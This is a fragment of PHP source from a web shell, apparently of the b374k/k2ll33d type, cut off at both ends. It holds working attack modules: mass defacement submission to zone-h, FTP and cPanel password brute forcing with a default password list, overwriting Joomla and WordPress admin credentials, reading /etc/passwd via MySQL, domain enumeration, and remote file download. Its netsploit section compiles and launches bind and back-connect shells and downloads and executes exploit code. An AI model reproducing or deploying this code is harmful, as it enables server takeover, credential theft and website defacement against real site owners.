$defacer=$_POST['defacer'];}if(!$sites){echo '</pre>';exit;}$sites=array_unique(str_replace('http://','',$sites));$total=count($sites);echo "[+] Total unique domain: $total\n\n";$pause=10;$start=time();$main=curl_multi_init();for($m=0;$m<3;$m++){$http[] = curl_init();}for($n=0;$n<$total;$n +=30){if($display_details==1){for($x=0;$x<30;$x++){echo'[+] Adding '.rtrim($sites[$n+$x]).'';echo "\n";}}$d=$n+30;if($d>$total){$d=$total;}echo "=====================>[$d/$total]\n";for($w=0;$w<3;$w++){$p=$w * 10;
if(!(isset($sites[$n+$p]))){$pause=$w;break;}$posts[$w]="defacer=$defacer&domain1=http%3A%2F%2F".rtrim($sites[$n+$p])."&domain2=http%3A%2F%2F".rtrim($sites[$n+$p+1])."&domain3=http%3A%2F%2F".rtrim($sites[$n+$p+2])."&domain4=http%3A%2F%2F".rtrim($sites[$n+$p+3])."&domain5=http%3A%2F%2F".rtrim($sites[$n+$p+4])."&domain6=http%3A%2F%2F".rtrim($sites[$n+$p+5])."&domain7=http%3A%2F%2F".rtrim($sites[$n+$p+6])."&domain8=http%3A%2F%2F".rtrim($sites[$n+$p+7])."&domain9=http%3A%2F%2F".rtrim($sites[$n+$p+8])."&domain10=http%3A%2F%2F".rtrim($sites[$n+$p+9])."&hackmode=".$method."&reason=".$reason."&submit=Send";$curlopt=array(CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1;WOW64) AppleWebKit/535.16 (KHTML, like Gecko) Chrome/18.0.1003.1 Safari/535.16',CURLOPT_RETURNTRANSFER => true,CURLOPT_FOLLOWLOCATION =>true,CURLOPT_ENCODING => true,CURLOPT_HEADER => false,CURLOPT_HTTPHEADER => array("Keep-Alive: 7"),CURLOPT_CONNECTTIMEOUT => 3,CURLOPT_URL => 'http://www.zone-h.com/notify/mass',CURLOPT_POSTFIELDS => $posts[$w]);
curl_setopt_array($http[$w],$curlopt);curl_multi_add_handle($main,$http[$w]);}$running = null;
do{curl_multi_exec($main,$running);}while($running > 0);
for($m=0;$m<3;$m++){if($pause==$m){break;}
curl_multi_remove_handle($main, $http[$m]);$code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);
if ($code != 200) {while(true){echo' [-]Error!....Retrying';echo "\n";
sleep(5);curl_exec($http[$m]);$code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);
if( $code== 200){break 1;}}}}}$end= time() - $start;
echo 'Done';echo "\n\n[*]Time: $end seconds\n";curl_multi_close($main);if($cli==0){echo '</pre></body></html>';}exit;}
elseif(isset($_GET['x']) && ($_GET['x'] == 'brute')){$connect_timeout=5;
set_time_limit(0);$submit=$_REQUEST['submit'];$users=$_REQUEST['users'];$pass=$_REQUEST['passwords'];$target=$_REQUEST['target'];$cracktype=$_REQUEST['cracktype'];
if($target == ""){$target = "localhost";}?><div align="center"><form method="POST" style="border: 1px solid #000000"><br><?php
function ftp_check($host,$user,$pass,$timeout){
$ch = curl_init();curl_setopt($ch, CURLOPT_URL, "ftp://$host");curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);curl_setopt($ch, CURLOPT_FAILONERROR, 1);$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {print "<b>Connection Timed out</b>";exit;}
elseif ( curl_errno($ch) == 0 ){print "<table width='67%'><tr><td align=center><b>Username ($user) | Password ($pass)</b></td></tr></table>";}curl_close($ch);}
function cpanel_check($host,$user,$pass,$timeout){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, "http://$host:2082");curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);curl_setopt($ch, CURLOPT_FAILONERROR, 1);$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {print "<b>Connection Timed out</b>";exit;}
elseif ( curl_errno($ch) == 0 ){
print "<table width='67%'><tr><td align=center><b>[+]Username ($user) | Password ($pass)</b></td></tr></table>";}curl_close($ch);}if(isset($submit) && !empty($submit)){
if(empty($users) && empty($pass)){print "<p><b>Error : Check The Users and Password List</b></p>";exit;}
if(empty($users)){print "<p><b>Error :Check The Users List</b></p>";exit;}if(empty($pass) ){print "<p><b>Error :Check The Password List</b></p>";exit;};
$userlist=explode("\n",$users);$passlist=explode("\n",$pass);print "<b>[~] Wait ...</b><br><br>";foreach ($userlist as $user) {$pureuser = trim($user);foreach ($passlist as $password ) {$purepass = trim($password);if($cracktype == "ftp"){ftp_check($target,$pureuser,$purepass,$connect_timeout);}if ($cracktype == "cpanel"){cpanel_check($target,$pureuser,$purepass,$connect_timeout);}}}}                                
echo "<form method=POST action=''><table width='67%'><tr><td><br><p align='center'><b><span lang='en-us'>IP</span> :<input class='inputz' type='text' name='target' size='16' value=$target></b></p><div align='center'><p align='center'>users<textarea class='inputz' cols=20 rows=20 name='users'>";
system('ls /var/mail');
echo "</textarea>passwords<textarea class='inputz' cols=20 rows=20 name='passwords'>123123\n123456\n1234567\n12345678\n123456789\n159159\n112233\nadmin\n332211\n1478963\npassword\npasswd\n159357\n357951\n114477\npass\nPassword</textarea><br><br><input name='cracktype' value='cpanel' checked type='radio'></span><b>Cpanel(2082)</b><input name='cracktype' value='ftp' style='font-weight: 700;' type='radio'></font></font><font style='font-weight: 700;' size='2' face='Tahoma'><span style='font-weight: 700;'>Ftp (21)</span></p><br><center><input class='inputzbut' type='submit' value='Start Cracking' name='submit'></center></td></tr></table></td></tr></form>";die();}
elseif(isset($_GET['x']) && ($_GET['x'] == 'joomla')){if(empty($_POST['pwd'])){echo "<br><br><br><FORM method='POST'><br><br><br>DB_Prefix :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='jos_' name='prefix' type='text'>&nbsp;host :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='localhost' name='localhost' type='text'>&nbsp;database :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='database' name='database' type='text'>&nbsp;username :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='db_user' name='username' type='text'>&nbsp;password :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='db_pass' name='password' type='text'><br>&nbsp;&nbsp;<br>New Username:&nbsp;&nbsp;<INPUT class ='inputz' name='admin' size='15' value='k2'><br><br>New Password:&nbsp;&nbsp;<INPUT class ='inputz' name='pwd' size='15' value='123123'><br><br>&nbsp;&nbsp;<INPUT value='change' class='inputzbut' name='send' type='submit'></FORM>";}else {$prefix = $_POST['prefix'];$localhost = $_POST['localhost'];$database  = $_POST['database'];$username  = $_POST['username'];$password  = $_POST['password'];$admin = $_POST['admin'];$pd = ($_POST["pwd"]);$pwd = md5($pd);@mysql_connect($localhost,$username,$password) or die (mysql_error());@mysql_select_db($database) or die (mysql_error());$SQL=@mysql_query("UPDATE ".$prefix."users SET username ='".$admin."' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die (mysql_error());$SQL=@mysql_query("UPDATE ".$prefix."users SET password ='".$pwd."' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die (mysql_error());if($SQL) echo "<br><br><center><h1>Done... go and login</h1></center>";}}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql')){if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])){$sqlhost = $_GET['sqlhost'];$sqluser = $_GET['sqluser'];$sqlpass = $_GET['sqlpass'];$sqlport = $_GET['sqlport'];if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass)){$msg .= "<div style='width:99%;padding:4px 10px 0 10px;'>";$msg .= "<p>Connected to ".$sqluser."<span class='gaya'>@</span>".$sqlhost.":".$sqlport;$msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;'>[ databases ]</a>";
if(isset($_GET['db'])) $msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."'>".htmlspecialchars($_GET['db'])."</a>";
if(isset($_GET['table'])) $msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."&amp;table=".$_GET['table']."'>".htmlspecialchars($_GET['table'])."</a>";$msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";$msg .= "</div>";echo $msg;
if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){$db = $_GET['db'];$query = "DROP TABLE IF EXISTS b374k_table;\nCREATE TABLE `b374k_table` ( `file` LONGBLOB NOT NULL );\nLOAD DATA INFILE '/etc/passwd'\nINTO TABLE b374k_table;SELECT * FROM b374k_table;\nDROP TABLE IF EXISTS b374k_table;";$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'><input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>$query</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";$tables = array();$msg .= "<table class='explore' style='width:99%;'><tr><th>available tables on ".$db."</th></tr>";$hasil = @mysql_list_tables($db,$con);
while(list($table) = @mysql_fetch_row($hasil)){@array_push($tables,$table);} @sort($tables);
foreach($tables as $table){$msg .= "<tr><td><a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."&amp;table=".$table."'>$table</a></td></tr>";} $msg .= "</table>";} 
elseif(isset($_GET['table']) && (!isset($_GET['sqlquery']))){
$db = $_GET['db'];$table = $_GET['table'];$query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;";
$msgq = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <input type='hidden' name='table' value='".$table."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";
$columns = array();$msg = "<table class='explore' style='width:99%;'>";$hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);while(list($column) = @mysql_fetch_row($hasil)){
$msg .= "<th>$column</th>";$kolum = $column;}$msg .= "</tr>";$hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table);
list($total) = mysql_fetch_row($hasil);
if(isset($_GET['z'])) $page = (int) $_GET['z'];
else $page = 1;$pagenum = 100;$totpage = ceil($total / $pagenum);$start = (($page - 1) * $pagenum);$hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum);
while($datas = @mysql_fetch_assoc($hasil)){$msg .= "<tr>";foreach($datas as $data){if(trim($data) == "") 
$data = "&nbsp;";$msg .= "<td>$data</td>";}$msg .= "</tr>";} $msg .= "</table>";$head = "<div style='padding:10px 0 0 6px;'> <form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <input type='hidden' name='table' value='".$table."' /> Page <select class='inputz' name='z' onchange='this.form.submit();'>";
for($i = 1;$i <= $totpage;$i++){$head .= "<option value='".$i."'>".$i."</option>";
if($i == $_GET['z']) $head .= "<option value='".$i."' selected='selected'>".$i."</option>";} $head .= "</select><noscript><input class='inputzbut' type='submit' value='Go !' /></noscript></form></div>";$msg = $msgq.$head.$msg;} 
elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){$db = $_GET['db'];$query = magicboom($_GET['sqlquery']);
$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";
@mysql_select_db($db);$querys = explode(";",$query);
foreach($querys as $query){if(trim($query) != ""){$hasil = mysql_query($query);
if($hasil){$msg .= "<p style='padding:0;margin:20px 6px 0 6px;'>".$query.";&nbsp;&nbsp;&nbsp;<span class='gaya'>[</span> ok <span class='gaya'>]</span></p>";$msg .= "<table class='explore' style='width:99%;'><tr>";
for($i=0;$i<@mysql_num_fields($hasil);$i++) 
$msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>";$msg .= "</tr>";
for($i=0;$i<@mysql_num_rows($hasil);$i++) 
{$rows=@mysql_fetch_array($hasil);$msg .= "<tr>";
for($j=0;$j<@mysql_num_fields($hasil);$j++) {
if($rows[$j] == "") $dataz = "&nbsp;";
else $dataz = $rows[$j];$msg .= "<td>".$dataz."</td>";} $msg .= "</tr>";} $msg .= "</table>";} 
else $msg .= "<p style='padding:0;margin:20px 6px 0 6px;'>".$query.";&nbsp;&nbsp;&nbsp;<span class='gaya'>[</span> error <span class='gaya'>]</span></p>";} } } 
else {$query = "SHOW PROCESSLIST;\nSHOW VARIABLES;\nSHOW STATUS;";$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /><input type='hidden' name='x' value='mysql' /><input type='hidden' name='sqlhost' value='".$sqlhost."' /><input type='hidden' name='sqluser' value='".$sqluser."' /><input type='hidden' name='sqlport' value='".$sqlport."' /><input type='hidden' name='sqlpass' value='".$sqlpass."' /><input type='hidden' name='db' value='".$db."' /><p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p><p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p></form></div> ";$dbs = array();$msg .= "<table class='explore' style='width:99%;'><tr><th>available databases</th></tr>";$hasil = @mysql_list_dbs($con);
while(list($db) = @mysql_fetch_row($hasil)){@array_push($dbs,$db);} @sort($dbs);foreach($dbs as $db){
$msg .= "<tr><td><a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."'>$db</a></td></tr>";} $msg .= "</table>";} 
@mysql_close($con);} else $msg = "<p style='text-align:center;'>can't connect</p>";echo $msg;} else{?> 
<form action="?" method="get"><input type="hidden" name="y" value="<?php echo $pwd;?>" /> <input type="hidden" name="x" value="mysql" /><br><br><br><table class="tabnet" style="width:300px;"> <tr><th colspan="2">MySQL Connect</th></tr> <tr><td>&nbsp;&nbsp;Host</td><td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr> <tr><td>&nbsp;&nbsp;Username</td><td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr> <tr><td>&nbsp;&nbsp;Password</td><td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr> <tr><td>&nbsp;&nbsp;Port</td><td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" />&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td></tr></table></form> 
<?php }}
elseif(isset($_GET['x']) && ($_GET['x'] == 'domains')){echo "<br><br><p align=center>Domains and Users</p>";$d0mains = @file("/etc/named.conf");
if(!$d0mains){die("<center>Error : i can't read [ /etc/named.conf ]</center>");}echo '<table id="output"><tr bgcolor=#cecece><td>Domains</td><td>users</td></tr>';
foreach($d0mains as $d0main){if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);flush();if(strlen(trim($domains[1][0])) > 2){$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>";flush();}}}}
elseif(isset($_GET['x']) && ($_GET['x'] == 'wordpress')){if(empty($_POST['pwd'])){echo "<br><br><br><br><br><br><FORM method='POST'>DB_Prefix :  <INPUT class ='inputz' size='15' value='wp_' name='prefix' type='text'>&nbsp;&nbsp;host     :  <INPUT class ='inputz' size='15' value='localhost' name='localhost' type='text'>&nbsp;&nbsp;database :  <INPUT class ='inputz' size='15' value='Database' name='database' type='text'>&nbsp;&nbsp;username :  <INPUT class ='inputz' size='15' value='db_user' name='username' type='text'>&nbsp;&nbsp;password :  <INPUT class ='inputz' size='15' value='db_pass' name='password' type='text'>&nbsp;&nbsp;<br><br>New username :  <INPUT class ='inputz' name='admin' size='15' value='k2'><br><br>New password :  <INPUT class ='inputz' name='pwd' size='15' value='123123'><br>&nbsp;&nbsp;<br><INPUT class='inputzbut' value='change' name='send' type='submit'></FORM>";}else{$prefix = $_POST['prefix'];$localhost = $_POST['localhost'];$database= $_POST['database'];$username= $_POST['username'];$password= $_POST['password'];$pwd= $_POST['pwd'];$admin= $_POST['admin'];@mysql_connect($localhost,$username,$password) or die(mysql_error());@mysql_select_db($database) or die(mysql_error());$hash = crypt($pwd);$k2=@mysql_query("UPDATE ".$prefix."users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());$k2=@mysql_query("UPDATE ".$prefix."users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());if($k2){echo '<br><br><center><h1>Done ... go and login</h1></center>';}}echo '</center>';}
elseif(isset($_GET['x']) && ($_GET['x'] == 'string')){$text = $_POST['code'];?><center><form method="post"><br><br><br><textarea class='inputz' cols=80 rows=5 name="code">k2ll33d</textarea><br><br><select class='inputz' size="1" name="ope"><option value="base64">Base64</option><option value="md5">md5</option><option value="whash">Crypt</option><option value="SHA1">SHA1</option><option value="urlencode">URL Encoding</option><option value="md4">md4</option><option value="SHA256">SHA256</option></select>&nbsp;<input class='inputzbut' type='submit' value='encrypt'></form><?php $op = $_POST["ope"];switch ($op) {case 'base64': $codi=base64_encode($text);break;case 'md5' : $codi=md5($text);break;case 'whash' : $codi=crypt($text);break;case 'SHA1' : $codi=sha1($text);break;case 'urlencode' : $codi=urlencode($text);break;case 'md4' : $codi=hash("md4",$text);break;case 'SHA256' : $codi=hash("sha256",$text);break;default:break;}echo '<textarea cols=80 rows=10 class="inputz" readonly>'.$codi.'</textarea></center>';}
elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){@ob_start();@eval("phpinfo();");$buff = @ob_get_contents();@ob_end_clean();$awal = strpos($buff,"<body>")+6;$akhir = strpos($buff,"</body>");echo "<div class='phpinfo'>".substr($buff,$awal,$akhir-$awal)."</div>";} 
elseif(isset($_GET['view']) && ($_GET['view'] != "")){if(is_file($_GET['view'])){if(!isset($file))$file = magicboom($_GET['view']);if(!$win && $posix){$name=@posix_getpwuid(@fileowner($file));$group=@posix_getgrgid(@filegroup($file));$owner = $name['name']."<span class='gaya'> : </span>".$group['name'];} else {$owner = $user;}$filn = basename($file);echo "<table style='margin:6px 0 0 2px;line-height:20px;'> <tr><td>Filename</td><td><span id='".clearspace($filn)."_link'>".$file."</span> <form action='?y=".$pwd."&amp;view=$file' method='post' id='".clearspace($filn)."_form' class='sembunyi' style='margin:0;padding:0;'> <input type='hidden' name='oldname' value='".$filn."' style='margin:0;padding:0;' /> <input class='inputz' style='width:200px;' type='text' name='newname' value='".$filn."' /> <input class='inputzbut' type='submit' name='rename' value='rename' /> <input class='inputzbut' type='submit' name='cancel' value='cancel' onclick='tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');' /> </form> </td></tr> <tr><td>Size</td><td>".ukuran($file)."</td></tr> <tr><td>Permission</td><td>".get_perms($file)."</td></tr> <tr><td>Owner</td><td>".$owner."</td></tr> <tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr> <tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr> <tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr> <tr><td>Actions</td><td><a href='?y=$pwd&amp;edit=$file'>edit</a> | <a href=\"javascript:tukar(\"".clearspace($filn)."_link','".clearspace($filn)."_form\");\">rename</a> | <a href='?y=$pwd&amp;delete=$file'>delete</a> | <a href='?y=$pwd&amp;dl=$file'>download</a>&nbsp;(<a href='?y=$pwd&amp;dlgzip=$file'>gzip</a>)</td></tr> <tr><td>View</td><td><a href='?y=".$pwd."&amp;view=".$file."'>text</a> | <a href='?y=".$pwd."&amp;view=".$file."&amp;type=code'>code</a> | <a href='?y=".$pwd."&amp;view=".$file."&amp;type=image'>image</a></td></tr></table>";
if(isset($_GET['type']) && ($_GET['type']=='image')){echo "<div style='text-align:center;margin:8px;'><img src='?y=".$pwd."&amp;img=".$filn."'></div>";} 
elseif(isset($_GET['type']) && ($_GET['type']=='code')){echo "<div class='viewfile'>";$file = wordwrap(@file_get_contents($file),"240","\n");@highlight_string($file);echo "</div>";} else {echo "<div class='viewfile'>";echo nl2br(htmlentities((@file_get_contents($file))));echo "</div>";}}elseif(is_dir($_GET['view'])){echo showdir($pwd,$prompt);}}
elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){if(isset($_POST['save'])){$file = $_POST['saveas'];$content = magicboom($_POST['content']);if($filez = @fopen($file,"w")){$time = date("d-M-Y H:i",time());if(@fwrite($filez,$content)) $msg = "file saved <span class='gaya'>@</span> ".$time;else $msg = "failed to save";@fclose($filez);}else $msg = "permission denied";}if(!isset($file))$file = $_GET['edit'];if($filez = @fopen($file,"r")){$content = "";
while(!feof($filez)){$content .= htmlentities(str_replace("''","'",fgets($filez)));}
@fclose($filez);}?><form action="?y=<?php echo $pwd;?>&amp;edit=<?php echo $file;?>" method="post"> <table class="cmdbox"> <tr><td colspan="2"> 
<textarea class="output" name="content"> 
<?php echo $content;?></textarea> <tr>
<td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file;?>" />
<input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> 
&nbsp;<?php echo $msg;?></td></tr></table></form> <?php } 
elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){if(isset($_POST['uploadcomp'])){if(is_uploaded_file($_FILES['file']['tmp_name'])){$path = magicboom($_POST['path']);$fname = $_FILES['file']['name'];$tmp_name = $_FILES['file']['tmp_name'];$pindah = $path.$fname;$stat = @move_uploaded_file($tmp_name,$pindah);if ($stat) {$msg = "file uploaded to $pindah";} else $msg = "failed to upload $fname";}else $msg = "failed to upload $fname";} 
elseif(isset($_POST['uploadurl'])){$pilihan = trim($_POST['pilihan']);$wurl = trim($_POST['wurl']);$path = magicboom($_POST['path']);$namafile = download($pilihan,$wurl);$pindah = $path.$namafile;if(is_file($pindah)){$msg = "file uploaded to $pindah";}else $msg ="failed to upload $namafile";}?>
<form action="?y=<?php echo $pwd;?>&amp;x=upload" enctype="multipart/form-data" method="post"><br><br><br>
<table class="tabnet" style="width:320px;padding:0 1px;"> <tr><th colspan="2">Local</th></tr> <tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd;?>" /></td></tr> </tr> </table></form> <table class="tabnet" style="width:320px;padding:0 1px;"> <tr><th colspan="2">Remote</th></tr> <tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd;?>&amp;x=upload"> <table><tr><td>link</td>
<td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://site/file.*"></td></tr> <tr><td colspan="2">
<input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd;?>" /></td></tr> <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option> <option value="wget">GET</option> <option value="wcurl">curl</option> </select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td> </tr> </table> <div style="text-align:center;margin:2px;"><?php echo $msg;?></div>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){
if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {$port = trim($_POST['port']);$passwrd = trim($_POST['bind_pass']);tulis("bdc.c",$port_bind_bd_c);exe("gcc -o bdc bdc.c");exe("chmod 777 bdc");@unlink("bdc.c");exe("./bdc ".$port." ".$passwrd." &");$scan = exe("ps aux");if(eregi("./bdc $por",$scan)){$msg = "<p>Process successed</p>";} else {$msg = "<p>Process Failed</p>";}} 
elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {$port = trim($_POST['port']);$passwrd = trim($_POST['bind_pass']);tulis("bdp",$port_bind_bd_pl);exe("chmod 777 bdp");$p2=which("perl");exe($p2." bdp ".$port." &");$scan = exe("ps aux");if(eregi("$p2 bdp $port",$scan)){$msg = "<p>Process successed</p>";} else {$msg = "<p>Process Failed</p>";} } 
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {$ip = trim($_POST['ip']);$port = trim($_POST['backport']);tulis("bcc.c",$back_connect_c);exe("gcc -o bcc bcc.c");exe("chmod 777 bcc");@unlink("bcc.c");exe("./bcc ".$ip." ".$port." &");$msg = "trying to connect to ".$ip." on port ".$port." ...";} 
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
$ip = trim($_POST['ip']);$port = trim($_POST['backport']);tulis("bcp",$back_connect);
exe("chmod +x bcp");$p2=which("perl");exe($p2." bcp ".$ip." ".$port." &");
$msg = "Trying to connect to ".$ip." on port ".$port." ...";}
elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd'])) {$pilihan = trim($_POST['pilihan']);$wurl = trim($_POST['wurl']);$namafile = download($pilihan,$wurl);
if(is_file($namafile)){$msg = exe($wcmd);}
else $msg = "error: file not found $namafile";}?><br><br><br><br> <table class="tabnet"> <tr><th>Bind Port</th><th>Back connect</th><th>download and Exec</th></tr><tr><td> <table> <form method="post" actions="?y=<?php echo $pwd;?>&amp;x=netsploit"><tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr> <tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass;?>"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select><input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form></table> </td> <td><table> <form method="post" actions="?y=<?php echo $pwd;?>&amp;x=netsploit"><tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"));?>"></td></tr> <tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport;?>"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select> <input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form></table> </td> <td> <table> <form method="post" actions="?y=<?php echo $pwd;?>&amp;x=netsploit"><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr><tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td> </tr> <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option 